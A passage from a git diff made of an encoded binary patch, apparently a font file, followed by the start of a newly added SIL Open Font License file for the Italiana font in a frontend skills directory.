z72{kq>g`2Z8@rwGE-!43&+#sz|AjvE2U7J%Sj!J%ExV;ctsO{~Mh>rkGkrCeiAFqz z)Xk78K|ZouK<%0`d2M8(L;0fad{*^XFmFC(d3-TbIqa|;2Q?L2(s~l&z#BH61PGq} zR?Gr)&VUmM5eC3Rzk|)^ZEY2PB?IPZOJ?JYTRgA4isxOSXdcdO;(<|uhI=7Y!CI7= zGBMiMo6qqF$4#eVZ{702c|4t$bfb`-ji@BhY@Q$6_y(j_;BsNb0hx(kzTk0P6I1&I zF}3{;k7EvMw5ic>)?|-kpP27^X}%HtA(v&kR?zpDOAoPM-8S(*MMTh{`E=B6*+LIA zZ>PtlP>9vsC^YzcA#f0_q`b;G^jlb2%2|1iR(@N%!q!i7PO;mG6RE$#P614KbAOec zCKLcDk02O(7L-3Ib=C@03ld0X2siR#vPLj#YP`SNSqKNDgX}<4Fbh;9XXI9Ef#Qm2 z-$G&ZAk5~LHbwlUZEO4&m`EvW0f^LHkz|X<x^9_fuqCvlDQDbX1B~_&-eJyZI47Dr z%<I~^X;BA4tEw&ki^{Y|JCWZ+j!T^V!yV6ituHhITGf_kRP~|F9?o$7y4Uww%*!FK zV(;{`mq3vzX{0uY<Tm7kG1yQxO9J-=S;&|$9B_VswCgM6lP%nVFvX^9!(r3m3{7_{ z$oCGMXvv3LGbp)bDUfUdpW#x?t4&+Yqn-ed9c|ibA@@fkxy&DR#DXnWz)DwB-PLw> z_cs3f6EIqE+s5nNJr@?7f%$R{`!?s8GqF0yY;9lvVRJiinCO2>U;)8-Tl=4;lR7jh z`N)sT5vf;tx@IJJSvJC>?)}vSluIWF3uuXQT~bJ`lEDGH%!a56)p~{u4g{TA(HTeD zXSe^wj-9!02f0;kt+5DHv0JOx6s0W0Arb-5#>9fni7~L>AOU!a47gRGSyNuc`DZTG z=&ba5BZ}^E#GIDybO*oeb-BLdbh&%R`@AV?Z*c@XPE%)}(ag3?+2egaW}4KnaZEF_ z9eX_f7XzTSO%2ir{{_^6#<BezM5Qa-niK8ke#EJ5_ovvBXkX<ODFj;eVOY4mIQM)+ zDC#j#25}>mAd5@|EnUE%XibpSW|(R-ewAp8Du~<u*opMD=0DbCLh98)t|x2B3YBdg zuZ(vC+LOyR;EcVj_l|I`B$GjY*o&m+-xlQxAGe})w6w(U1m*hqtf85ibnaFd*M~X3 z|G#1d@RL@CFs={t>@?ASzN!5hUm4MUZc96@q-bAnYJZqVAw~PCE$y5ANnme&FX?>I z|6-%Pi05%O+OIU)@tj=ei~bjy+MnkbSJ8eCwPXL0r;N^y{}ilZ_9wt9MzD&%RbILo ztT<Xt_jw#Tl4Lx!oxqCkD3#oXGCG4bpl20WMPh&Kjx=8Ec7atC?af$4asCtS%~-`L z9+4I8%~-|XK%}M*(*38!t{Fk%x>Hk}$oEw>CxG4@pW1-g;FflH$6NyE4e3<>o%T%6 z=AR<X*m2XJs?aH${jp=J6-te+OjW0Px=V%jHXH1S%r$$**mxWqfOZBuZtfXCbn1I1 zFAktPLmeZQ7uzNiPr8_OXHducvp&ttr*ryNoFi7jMi7D{0Trdw#VrtouY$rg*m9p0 z6vjmtre+!%iUqjg26|#Un$R?HP9cn_z)kBOncR{BTF8GVS`TjyqMDj|n?c+%t(X{v z&LbT&yO^}JxNBu*WfBF{2CCb@h&5KT;n&U7=LeAfM%^?hadB+J3J^MsLr?E;HFkg^ z-odKe0*WZ@ygGISU<vy?i4)(Q;}A2zq;}*|#Z0k*Lj*GQ_Bce^=}kbye^Xi61R{>) zdOR*{C)qRo!G;6335obXz73nbQmaD|>$`i2OXMGmT@Qs%?S4puLtOHT_H+MFb2~{= z(Y|iClk`~Pl2^2!`g74=w37}M?W=Rm?VID&C9>#G5?S=W_}zN{D#j;?jCPnUR~8L{ zpEc-gEzo=)!U~K?bI9misLdfq40SRbK+Q^;>eMbnw!o&@#Dj81#bgn)V$y--JqxqD z$f?rZiJXzBG{Qz~3^Ys@u%C_E%R^yO1DsG~s_=u2aF{@wDnRa`k$a{c{E#jDE}Ose zK1vf*Z_F*5$!=ivtYAEH((4&A6n}sadWm32kE|~q8C`$8vt2;+x+jOH4-EF@(wRWQ z+Jexl7yupYBZ!^@l{R6c>XDHQuzCJ)G{d2J^5E<W2j{(YqjPZga8Jb(OqFPr34iw? z(!0z7G6R=KM6b6KF3)bibhxRVWV_wIdIIg>fB3QFUxXj)II{iD)y~c_H~DN-6}~H= z)(ELauuvf0s45AT!R^-80H@@^ka}s7I(qr!3FM!yo;ZK<{GkI&i!-&ck=|~cmjTp8 zLiuraT+}9kP-sM|c?pYK;6^unKQ`br8o_d60k@_uP$U66YfA`$?I#a%z7p?h6-ZN# z=K7r16N+2h`&C>X8tHH$T|w79jl6~tk@xU{dU^xTZ1|nZTx_g=&IY22K<+kY7(rGG zupI-QU{mG;PmX9xe;`_e;9mi)?~|@cch^oxPE#?R3UVSvkpqz2G<nz|v}|ZN#4Bek zx2!1sWnJ}Pm0`_4aFt09zw_#~2d=H3Id*tyVQReEOX*Tn6&7BJ``8r{%1t#x>aIe; z`nF4+_}oVBQpBa%jU@VuCBpBUp8F=Z_Lg>D=aK_1F;Zd+g{Sl2lRcHmr64}?Cz7-p z{~^Yg;+HtM&HA|6v@qt&;$8k_GhgW#+fL-pLqmOTce<l56O1N05|I%sN^E0wn|u7j z951|enO-yrLoC|ZhFPo3^-s;2_ImtZSdaUq$D|XrqXMN5Ax)94n-)W*#XyC*W!+^j z#ycKh(z_pi;IVf+c7E-|(S3Us=B6ics_n2B<9>GaP8OrV)r}xY6RF8asV@<^fd4<O zM-A%{nd#nSd_utd8b`_OyjAXSMQq-Gs}3HjBWPQ1vvqE<CLE!T8X@0D#@upkNvwmW z@lD}F!XRV%8Pr7L>cF{%1w*I`c}h0g=JGw~*P0PGd{4ZSJw*2v+-6VMQU&zq;^im9 z-0URDwr+<8-EW7p{TwZaXZvz&-wT@p=Z<m7w_6lC??5)OKL*{GsS<pnPL&PO_8}n1 znClEA72r*jj>O@tv$f%Yt|D@CQ0^SkXPNEWhHetlWQT--I#2J!^IO=wiG-y?6K^j{ zcA(Uq3yeA)UI!iaOQ=~X_|N6C`HzU8oPkP&Ke$1J`I*|}$Pm)85f%jz_Oq4S65%J@ z?oD*qqPuRrg?FIDKV_pL5d<ff61=E{)$W&$O6R11{Fi&efVkH|MdOm{K<Sc)s4^Kp zivYLnc01Q}7knPkWiQH>aZyT1PDtEXhS{L3<GKtbuGAsA6EuWF)vo_UW7Nj#e=ac$ z0E{?QQoFMU0Hn9;__4tOg7uzRJ$CN+xr6&_Q{$rpM+c8~ceb}BTFib=Rlt0GkRPlG zR?h0MauIBSH>Pe{+6or-2!-t47D3w~@=ooesN8L%gExNVc7gHOxh9NMGkAF8EA?o3 z6O8zqw+)=X^~0EPJDl;GP4RSDYGYSm$<qx*V?1ZEQPV*<y&Q;_IFRPxR3+z09XU9X zN-qSH!ERBdgWUCn%TCDgl|r;H;N!Oz^%_bYM%|R(4XO&Gg)9_`B5$4>ZO<3XLLzkN zfwr#GdyIG}l+lcgVfD<m?MLAa(=4_GkyBv0f+aQ8=dTR1D;?>+<&Z-kYD=WDJ*Lq* zkUj9tR6ObR_4l*}Q9mmh%a4?LP_<{E9obQU?Ob7tm@lEjs2;;+b|MV9lZ_-rSvq(V zLQKr4&KCS&A@UN#p?_7J$rpANOS|&<U8N&O4znwj!vh0{DwRV61BWZIS3dEHSMc5K zIF)^xe|M|YgiH(Fj7*D$eXai1+ac2^1TVZDe=&BVukXaz*zro`_}KLL_%#04*FSyf z(l4#A|I#HC=WCR$Bw6Uf3E{6%UnwndoHn8yOuCL^Kxi4c7(xYvgO-QTUZ|AStYY)< z5d#Rst@VbCM>10(><xO`1HQqk8TN*=yc&{I_J!p`em9VZmfNBGBX3=^EAG=Xpo$24 z9CRp4yKA#uz^Qa2ZtCQT=5|4mEgn~1)=D}{@C2@+I*T}f;2Hr`mqbC|EoCw|O}HzY z7n+1ktl+7+AA7U5az3EGXYXu(U*8I@Lh#D!@Jez1c;)EuisCk|<f|!7x2r6BRQGQ_ z^r`u&nb|$Q(9Cl7@Y2B5_Z@yj_xO9ed#T1U%>`?E6muCPgdJ)D;_@Z+dZRFxiVPQ( zPQ6Zk?6OOqQOzn2wCJyhZ9{W`SVD~0b~j*`)H4o%Km<CPlGN-a=hNedUVh+(fkWqC zs-*e;f$5MhXe!~>(S`eq37@7|i`~U+GC!cn9!pmDk5wn%7e%nq?=SBzwv8?6`LsV6 zOU14ne=TV0hBa53YwIYDRJ?(yrQ!1alRi|fat*9b^qrVTeiyG@^%yFdj7qpG$l^!< zr2Hcj3bUjWeWUOplX|;L`9wStg!UX|BU{!8m`bvSheRc0gc)#F!M4W)=~^i|xQN4J z1AX%uucr&))IUUFzaKiyP(c5o>ivXebl{$*Zqw|>odqZl4AqF+&Vo-_ewSNke`xqO zPFmLQ>uT8P(*DdcGp6;FUAl@mkkA3h?S%J}kRAxQxD-UT?D}*(u@~pJMq$7vOhc(i zH^I==Y)Hw6x6;NmkWjD}j8+ND#mhYNRie-e))3J_sy(YH&$N!_170k7Ycexgy6Zl# zW6)v#AAX#taUGr4VSdVVBpu%U=X!UY(|wt!mlmkw$o!d$x{OlK9*^nK229UO7Sk85 zOz*ui0=dN{%X{QM;d$3Q7w;B1*YIy4&lb?WEjiayGSQxjGGedP*@-(<xsVBmzFJ-G z>OJy6&CuN^?rV`%CEeM()Ky-t^jFH&d-b_T4;=d6uAlJAnqoMT@4KYBoRRT+W_Dez zwO+V<<@`6k42t_f_DkTM7)jlrjUo||L^vgET2r<d-{JwlvQ?)PV^NVT0&;?e3QoAR z5l{dXPm56XIiKr0F5kC(zB=t#$<n?_l~x}1nQ#IO03i~8>yjHDDZ&nY6#F!bHJ|3v z7uacXwvzNE=QMpcHYGWxE7R5Ku2R4!Wl_BaLeS1b7Jet8z&I>t^WH889Wxpd*}l08 zY@iY(F7o==k)GW(#RV+sf!?0Q&f1`&?3t_{>+*Q=h5r75X@508G2by&^mtCiM)bkM zJyUCK4&9kw>#HtxmKJ&jPA2iTyf!v+qMv<QH(HNW#^$H`Q)8nWM;9mi_Y6mMefnB{ zcNg(O3+jj6kC`SA=SbAzXu-b=Fnh&x9V_j{d^ay6rhskn+(@?}nbI(LxMtfdo_ZHn zeffM4i<|D@tKQqcuWRpn=T`d%D%CX&?Yb-Zfk!l_D>im+V)9~b?%Kh}|KJJsgFm=; zZFP-y+Yk^$pODVN<`lP6NNZ3!LIMh7jFLg>h82DLl}I`r31u>R68W;pXe>#i^xZg# z{Ij#r9>#A%i9J$=ZtsecXe83}>bSz)x6iHVW-{gr`C7yAWaWQ%qZ(+k+UoOL!9b|B zJw131J~jSK>_5SGhN2Ge;M32?B^_BV|B5|MPE7RS-^lyW15h9Nral;leFsm)$B_!? z^9mjgeOV2!GVaxVL;7X;2bgVEIwW$~TEJ>RQAv*LU_baI;D|#pLs<?}UL@%h_AGih z084241euZ12$N7aBOA>^^MzTMSaY~-u<Yc*hcti#SFJVKv=0N&Z0Kq%5{aq0p)%7Z z>#zF;uRVI-eqTJDj{8^cd-U3%@BiGSw2ZrdOVU5b{daCy36xU~{2MAB(9_n@lk~Vq z$|FNN8aC4&U~?O}nl^@#L?X|lgLEM~j~8;dhD8n0Q$%8h2iJd@3@<TRgR3i*io}v{ zWz+HS#SeUB#^;;)$OkTl<A{2RsuD@iuz)kmBgl&rh%Cx4&6D}UWa+xd@<XK8#-f3& zE|+tSFt1@J$l8GZG&<HT+oo>F2rQvQRBunQzto>-K>=nHD_S5K4>}j}yl$D;<+Nc2 zhoQu5MNDP}{@+6W$4w{m1Y()C_IOt%3KWn-arwp~^DA9l1p~JRT8-uSe6ADyMyu80 z{F3Frrs4WSYtPK+a;e>jw){-f;>c14KH@B2n|`vM$^zx<02I&Rg4eNbI0;Y&_vp%? zLSwbMI}05xF&u;X#fs6~g4<V&&vTfsS~S9E1}Rnt=BfMwrY}ZQsVElH#b@INojqc< z=^SQTjo7mtZC+Z;Xr<Whj>aGL`Ce-43dGW5)k<mi9-1*6a8#9F!ac#4*{2xx5AGD6 z$9|NsALlt>4<Aa4tX=vG_8M_!ErItEJIT3{xB!qGg!_pNNt`sNaDJ?<Ty9JC^|AJ@ z_O|YBz$R&|Ira*B54h?astp*UIOYIdfjXmNk0t>80p3MssQ5wVjr0VWpU;r<fDpwI z=vN1JDe%Y7QU^vw(WOUt`TYa?7Z>^~$wW9Lonz<7^byY@<SbMy^uo|E>D&R75iX$q zz!1uu$Z#U?qRC{<ak~|&m@8&l0vK<&Ba%8%#0h^>$lK<`w{g{r7e=NF%i&2Gy5X_X z9Z}?>ccd*3-ljZOAQFOk<A5JGXm@so!vSmO-mo^D8t=?riFtjkxwztR#yj1r%jZw2 zKt3SZ5v7A=O-uQFil)U=J{Y$xZ3(Y87V~-&Z7mAyr&Jt%0iQ1gH=o0eKQNrKrl$Np zm+J0}I~__q*Xr{ET_e+30C^i<$IhOXt_vi030K%Sm}vma&!meAwy?GA)nowY&ZsDo z2-Fd3rMYo!85W{IE%YJQ>e3E>SMPbU);2UCNfV<3(?iqvG8iu1xbraIo^1<M1KAv2 z)O1(>FwBfWe#fc(+OLv%Iy}r@!`zJP@8_>M>I<_jXm=+I@7{{T_vm%MD=%Iu8N7el z@8YjJwJ+mC^yNRl;ZFrV<xly)@eM!y-}Ht#@d5sUXSEwoNI&NH7sqPIpa<WPCVd2q z?*y?7p+_5rbuM7YUqglj|M`^L@r>?%^KoRA-QhUE0b=eby_oy1j&V@lkbXX;JDzdt zZ$9oO4SC!B`gWh=ISxS&o?;zM`}sKS=QDgi?{A(~P+URD4+p0V<L?PZXaMSF0T(L9 z`RqSo92k%|WMCY&yJ;Xkj{L+=GLB4@PU;UtIeRa%%Qs%dyb7OJ&d=Gh>Q;06ydurv zT4{daE<IOVJlECD`R%^(5mrWBrB<md?j<y#10@Ckq~s$^04D-?ficJ+yg|p-lmqq= zYL%A(I440uz7_}%I#xlzunwmyx3^X-*7oLHPF*>)Z{H#1K1clERor#)+|`3|q=_j@ zuRr?e>r0A@ieE^1JcGrbAupZ*$X*5vCTtjnN6_(xJ&Uh?<m7K8e6kvYMaRucejeh* zrpW{#N!F_?hxhJ147<@;e+1`!&0p927#OyA;}vMI?@Bq!&TXMfxlua}HAnfarline z-rC7bJ}2VG*>pGvq?-<HfXlN43=!0Yzl0uxT-QVkL|!0gsjxLUqr#!Te<GVR&0O{g z)11o{3b{G+?DH=yjGE@y?iZdn&HG-Mo$`98W?#6^qzu;yJX56pOek{0GhC52Om{CM zAdVgva3XfBk;ahmOzC86oSw?%XnH0*2Oee!g}3n{o(>NKRZCAt{`AGhvzYeNo!$B* z&%dyH%rr+AUU(kgc<jc@Ovf{Yr4Fiqz>UarcnW@>0)Gl#UdajLF(i=Ah{w`_+YUpC zU+<5_K4e*EO!JIot;ZY@p!dwTWc=W>ei`1Q`ZrJo4+i~7l3C1CmXI8WTQQ`t9OmD^ zCxuzsn1A{Pf9Unb_#cX`V_<m$KVonG*BB&5=EgN3y3axxPe{^R&j}0Qt>=UVAU=l; za29qM{~VUWg!HrM7a&W4_ahVD{sW+ce<)X_zjMT4pO1fwV(R1fgGFf^_P4AZr=&cM z1A85#;FU=+^nVWh!;-%S7Y7%vWNga~J&v68h}cN{Jiii8mddCiuePBQk}ob-+tcNJ zS>5GuyOL>tAm|AM0xdK$zEOGs-x!uWe2a#pm0mi+1fkFA7`EjMGu#-lB@#~-*_&d( zoW~xJz67(V04{NqeHycv=ChdQvyf3Cdj)>ZPvf?Vf)uU=keyIh6~$t)jShdq^}{rv z$YgRv>8h<A+WrxjnW#>A-sPH?ok&AdF1X!0wXN!k+xbyl|ESAQ^bh&{AKLbwD1fJx zewRNLDq9nAv5(RGEJVm7#XO0OVd3b)^Wb6dNOUayd3@sqMMna@JnwYQ%K(_^tKu6B z7k#7Ct<W%-v-Ax<I#v$vg)l0%@o{&U*@YcuwtW`FDU0lTtQ)?SJe%P(o{>JtIR)*~ z&!gQ>r&?0OYz-5^s=~dbNq&aAQpxliY&w}LYUo`i^LZ(+$Lo{X_xxozL#SL$5Wm1h zLU(X{PQFi`!|lb#q>HulxaHmLRNS!a-G<v`T*tgLCj)*4`rhSqU&cK$s%)G@%mfuW zRrxZm&Xn|%2&eMPWpwG_;sWqAD+|XKkJY9|hs90L@B$@*emvxEwp-vg=<LrurgVy= z8+pKwwp&1a5QR`86@q2q=_=gOO1gxa!8$<TQDRfB&4Q0B!cMLK)Z*~j$LAOB9Zyzk zxkAbV)g-I(!sJkHY<FA6a>Bo+m|oX#s4F|(ao_5J$9F&W@cOi0(>%L>+gmK=!l`Jb ztHn6D{QR-Sr!S1{dSs<~YO!-_(4ipd)Aha+)q9TggGv0M?;oDIG<N0jV;?*J)CbDI z${WM4<|h{yT05%;Pj^LOUOFIC-jEN;e+mvc21E?9VW}J)Zfyb3v3`dU#Fv++KZ}DC z96=|JGwJyG6Xy@C?3(H<;DVC{w$SA5YpNM$`+~r(bR4|7cnP`H@L?mD5IYV#Eyx{4 z&`ClgqnsE|3lJLmtHUd$gEMY5nJO&yc8;ZL3#R&{3wPXy6}J}3d92UjUc^Yjr?*&| zK4y5$ZqvFaXq0uMblfcWcrxiyC6-ZAx!u5+y{NnU%Hw+FVDH|?N~+nnr%;+H=0}tL zM>;h3S13eM@g`g0#|4W~IkrSTGLi86R=qw5c(>cPXn6*E*#Dh4P>7Y&Qytlfe$U4F zwobqQFHNoO{L~asN06I0o?w3iJ07{_K&Rt29O#DYywJllpfX1qS)`lW(uugw0}Wx{ z<>P7-y2187anBynKxD^pwL!n*v}~E9C#%)F#_4c^TT-l6z<y%ZQx^NIRXH&_epf%z zDREQ?zqw&q4l5RW^G6o;Q|ZQ&>@G;%c|<#T7Q@!NNN_(KI$e-#xK7B0N38aBAz0}3 zXeyOK5avVP&gH|#1<RAG4=v>4sPh4dP*J*+J`k%)oyo+YD`4>I;497-pBrHxj}(1| z?9miC(v?c)16{?D(ebj^XwM(sBR*19`Y2HdbQkI$9n!Of&Z;NSmhY-~-UqLaUeA<_ z^$c|k-d!17L{uX`-#$Fk{9&}b?L*e%>dxi&RFOm7o$FYtda+N6H~z*EL2QV$#$o9J zZn>V{&omu!T2XaX(XUH7?olKpJu>N0)Dxzcs<>1X<1<laLUUdQ|3HeJBsP-P45ID9 zQju<CTi&}cKRr1*T<I+yE*(xMLxpfb+|TBLm?R5W+;G)=N86N4I#I}!lsvrYp{y5) z6_n;aR&q~p8y7wpzzRRH^8CfIv5U{I)L-WxJvA_J>d|@ob?^9Hm7%*wGW{U~IjSzz zS4!r_+w$X?OqUPn6OY3P4SJjZp2o=!uF?RjgZ0;Uk6)M^UmrJc^U$SWC^nR@o*19F zyV@}n3k5G}iUvy@6$zTCdLC7`-@)m6PXjRxQmRBs6?F|&<1+mENLSEdMrs~GQ&Z3s zFQ6%o#GvUt7X(%ByZ6Ea_dIa=)c$?E+T8il`DV%zROt>W3z-C_CF7GM6*mZZNM=i7 zVuP8f4+(y1sFxYW-@Yx?zur;Q{boxdteIiW<^GVNd%dW2j`WZZPpu4hyWMb9`m~Tw z_b7VmQ<?t$w(hrIgllbWGrcMA|LW1<u~Cukgkse=^s+-}K;>#<qBlR`aUjLKbs`;s zms;_7|Dsatu0)^6f|N1TWlqbl!zFNCI$v8mG%Fj9hwp_tKX-c1#83t3Fy`22nQo60 zg7P`;6_QUP66P>Y>Tqt5rSFg~qg`fj;^Js>Z~%UWf$IZLuAM!06q<LQybbNSY$ey; z=~a?s5%4<@NbK2pH*h3Ee84t_f^E9e2y)NX8Fio&d~!%9qf-pOw}vvw$f6GA5NDwK z^XOm)r-c0l1*DBSxZ#77yb|V02%j&&m87Y-{!GE+qpp!l4_^%%PR$9FoUF9^Emece zs$mzoHHJ!?hN8}S92K0@M;z{1#pU)Q)f9~<RRx7OH3yr8MdnoHY39%w1zg#SI1OPa zok{N24BQ4M4OIoXOe53kz9H%OUL2Fqhsmbr$M8!t#p(G^4#&4)=^)E-<1O^Sy+71L z#wc&X54Z7Sx?}?pKIZt_7_3<*!q_s*m)F>N$SW_7yQ6$py<I$idt9A%2fTA6$U%E9 zr5g-QV&$8N>*r^RrCLWvt<*a`-P>2IvDXSSg#tzT3-~2H(_7xPtK2&Sk$6A6GcR!O z3~B}Huvh7PBurd>G>6&fmfT@Fm*Z?Kj$Y7hk7$}t)1J~C&uiM7@4;D{YS_GpEdNWW z<uE86s_l1!oYge0Q*t^gof$ZLyD%`W9z<1xXOWkO`X;bt$ODW^VettL<#zH|m_eUW z1(#6J>v1|z;DN`>$=M)gJ<NG29LDVHLKT|LPi72^JuD^|28ijX-;%$eb?@#xF{i<^ zr`k2R1KCif+eg*6y<<gfy{99Xk6+bJO<djgj-T<L)wES6YH=@&D;qP8u|4k4>R#ov z#_nIc*I>Wx>OV);SqXE!=9rRd(jpLAS8Mm8W``q&D+YRT+rYlLJ|BGA%h*`cBLFLm zGDTA9&PB(w@OdHJ&L@sa7f?wcH}doqNuj$bw};vn<|oHHizvp~>ZM{fHCC%5`yu%n zH;nm7d6QPR$-=ez<~3sle_f@EeKx3Y+F&0Cu`xllEmx1-rD;oZCw7BiZ1eK5Kq2jL z?wvm}i)Q^;=OF9q|5|6c)Z2U$8Cy^kTtqf^TwT?)Q;plmb}i@|f8}uCHnKhICa11^ zSAM>SIYu^omE)ZoUsrHIA>ZB`?BBxTS&@#_4x?r+q7IJhkYXBWh`QCt;5U#<LatSy z-kb!u1g+d|a}7x4unB(IyJuo-WT?L)3RR~Pls0G@iW4WB6*?{i`3+kApwqC(8SEFg zdT!E*1e-`2%wZQr?O#b}fU)Sj0E9f43+Ie{0X|BH?4Dq3j{h=k>^eP?orswZ)Oa_- zJ?%sL_0K}G%f>%r?4$gb51NPjlKEB-u=Q@ICpJ|YU!5>m0^YJnEEK}a$)^{+rfPl6 z@99{ceE)T{1jDfiUY>d`HZf4~q6FzLSgPq=c;+tbHM(8(hoIMScrxBqd&lXcQ&8s~ z>|2|360YQt4Q7)NSD)aHN6Diz58WPErymYn>uw9S57KquDOnT0(^+u+?5VpBA6(u$ zQzM$vC3neID*g@U6yWoAz71H8SdHw;f=$!9P$G4_^_siLCP9S*iyNd($4t<*fGB~8 z*>Gd@gO%#8!AyU|-4ggHC-b$|GA>x$msjj7@v8kjLz(Wt)11Kfsan9F9BEIcqN!-i zmu#Eu>>i88r;fEHW0gR#lt4;UUt4K1=Fenuy8zEJdd>`2m%CdV*XALsYk8pq9|ZE@ z+@3a|#KX~`+YgO4GCDj_PG&prPG<6{ST0W-i~m64uj2;hqqRd4<R)_Zt{b>%6-<jO zHDUPR_=qkSal?w@I-{dXm4y^38!K?+(EjD6#rfIsk=}A=sfel*sL=!hW0$Y8Q(NHL zgV2q%v!O)o->}_b`iR}WnHPWa84m0W11Fb*qP2e$rV`pd%&*va#V|f0tF4b2#+6HN zbJ@<>2MyzW0T2G-mF7!#UI)1>-w1yG$G5$D=QZ?dPY_GLUcY|_bexc0Vz0|9(1ruG z3Xf0;Z2-9lU3;7xDRk$M%-~w5s;Ai28XS_Xtc6ZF9UzWPmWKG_lg1>m1AfiGKcDe= z1OHw!eiz^Udj|el_?5n!t+UtJGjHd~=NLL#1L1)u@B91l|2l@jKa6ug`U2{R_FxXm zuSa!O6)qv}7K%n8I>=4MT~&pGs+==){iTn?xKP!Pzr<f&`k0PmkNUBf)Gy-YC2B;M zmv|$8#~Yz_>a=nL2bhykDT;e-5$HobV#G^PaN#1NsZQ5P91Wdoh}OEC2jejccq0`c z7ti5x<ESSh;*F$9nz5v6lP|wH9?uLr;`=Qz?SEsxWq)3ezCSJK@bBvH$rhN9HbB|G z1ZAVreo-(tM5iyv#B(q(B<|hyQxu@3UQ_uZ7GHK8hZP`Wz0q;MU0B(EY91_t>zj<x z##-Pc-uT^KmyK)o`g}<|*O%>O;=J|;;I$~?cgnA0cVe9sa$*m6bkNIC)J1M}bqQx6 zw!ZPQp(*TX!}zzzd@&8jGtc0*6-AMM#)<KqBmpL*ZKE-qE%5g)K8#Y}gATKQhv7C} z2DfO+#(QxiMfg_Zjk7M$?3GQs5XKRR!;!2wlbwXp0|*6ItvD%a%(nvWSLIuwm9_%e zg;-HK$E#3N!@@eGGo~<$*gb{W$!t8YJ8^%LG2M}$n@;1M3)%0+6zfT+;w`4PT1}<t zwbG9nj<EmC9);)JCq=oXYNGz&9tgfi^5g^NcBsNZelY0CkXH(YV`|iRm(x;%n#cJr zcT{_d{Wn7mej8WWsoxH&#%FN&PT_vIKIks8fD5=Yb5>ffoxxEYCvUh|=uAoHbt<t9 z95>Z|BM;>=ozA@wps?iDJP@g2TnaE!DkkCdVbb*E$n5AWj_JcCT<n`DBnwdhY5a5* z3CbjrINfeAJKAs|79JbYITz%<5s(eykqCGz!}{YLBkA-=N5^m`GyITGW1n;yZlAWX z>NIB3`FtAxv(ct59recd_U^A#_Ls}_vv=cZOa9lI_112UeR%%ZvAMZp$L2RKH1`PA zn_(6bt^Tq>t6A8ZcT11f-o2}z!{6cSf<_^t;Z8pfTw$tvJK4OPY(X=CGp4ep`@wvm z+`$9$b9LGsKYHNqgLm)UGq-<!|MVm-^6o9pmS%6JV(2HMVs!J6VypNjYI7ri7#5Vj zbLytcUaOqp%g~W2Ti!B}p8kKGzZMGYjw#-jO0|h~$t9Dy2IU(o07-_*HmmX%xg_i7 zyP!ys34l28!jK=1+d{Ba4w95b9nz>LD kD*L1+3?-O7{Y^Nh`|X17zihwCtH}t5 z-6!j>T*k<&(kFQ4Lvu{_R``+a-&g;R&GPYL%vsijU2P%$gg7t9r8PD*6K4srpH+o< zel6e$1v~-cr+p}awscTKt^2U1J?O?AS(x^)Jd27|TgNJF3Wr8yglxW}ens{DG>QZU zLY{!Uq+*B%H7#u7YD#E~NqLT~V<ZoxLYUJTSym7=-35w;2wBrKoXSCTLdHSnp7Q9r zHeiH({$OIJ>34YrXK?=++?wc##ul4?C;83(oAiEIaBeAB!}Td5EQ}jV+q3kIL5R>n zF}`}zVF4%<_6044y<z%(p(UP*(;tk;Gr0M92l+U(jReB=p+Y_$M)te$F1Ho5-0w0} z#d=O&(hSZ0s2l$@L%)lUx`0u?2dSInbO-=?y~Jq&diWT?-*wJ{6-d?v9ZnGA$bF5E zshQ6{XDR$k<OM#ecK2O6{|<WQF|62WNR*&d;iKol#xlZA+y#oLC`Ze|TgN1_Msa`& zvLHo8ZQd&6>CjDwB3r9`We_>89=F3?>+Y`M1-C5kmuDBI0%ljC&}9au7PvhiS6I+N z=)CA1cs=f9FV$UmBsxA_o|-C`Cnw8oU0rPeOUae#p6==C?w;w^-nMLSZ?>%$GoO%; zq9*ZIfj74OF1OXMb$c8X0Pc8GzmjivQ@^I<O-itAOD>TL#}h)q4tB(IsdNx;xrQB( zkA~tQQmy@ijbHdvJ<iU^p9E!^clhm47tQt$V(rY0VD#fA9FnNmMzgF*pL0}U<HY&; zHsZk{7TV+-?k^y=fjS8BknlqY3HO);LXDu{W2;;%r7KGvaG9COj*t&2#eks_{|ur2 z+%Mnw?c0tY<!CUlJB8%z5b-;=jz5dx_vHET`Cxr`JUvjHe<PV#qY?h}J&>`;1BYvl z!FjTkQP+vF4#6BrO37S%(WS;YlMW-=$DLwOH(c`aHR6Dd;o;8!^-$~>$rt)e6sA&v zQ;#HCb>=mP6}2x}=xUE*YqkWlu}BgJ{KG`g8%60G@SR4aZvI4BO_litVcTJRUXK)E z5sIJERuRbHp<$rfz@YVjqw-v$oE^y--Q5v?EP(Chwld#p??_DaTSk0$J{b#R&zU|y zBDi(EgBoBw_K){m6DSNNg!tz|iYurEM(^vA7*$vJ`?@?;*jfI*E~`*$%ziJVjKbj1 x!r#~Bg2K-8_Y?MxRoDglz1TepyT^Vn_*P*T#d~|@a4)?5UeFD77O+Ip{{-W$>9+s? literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/Italiana-OFL.txt b/skills/frontend-dev/canvas-fonts/Italiana-OFL.txt new file mode 100644 index 0000000..ba8af21 --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/Italiana-OFL.txt @@ -0,0 +1,93 @@ +Copyright (c) 2011, Santiago Orozco (hi@typemade.mx), with Reserved Font Name "Italiana". + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: 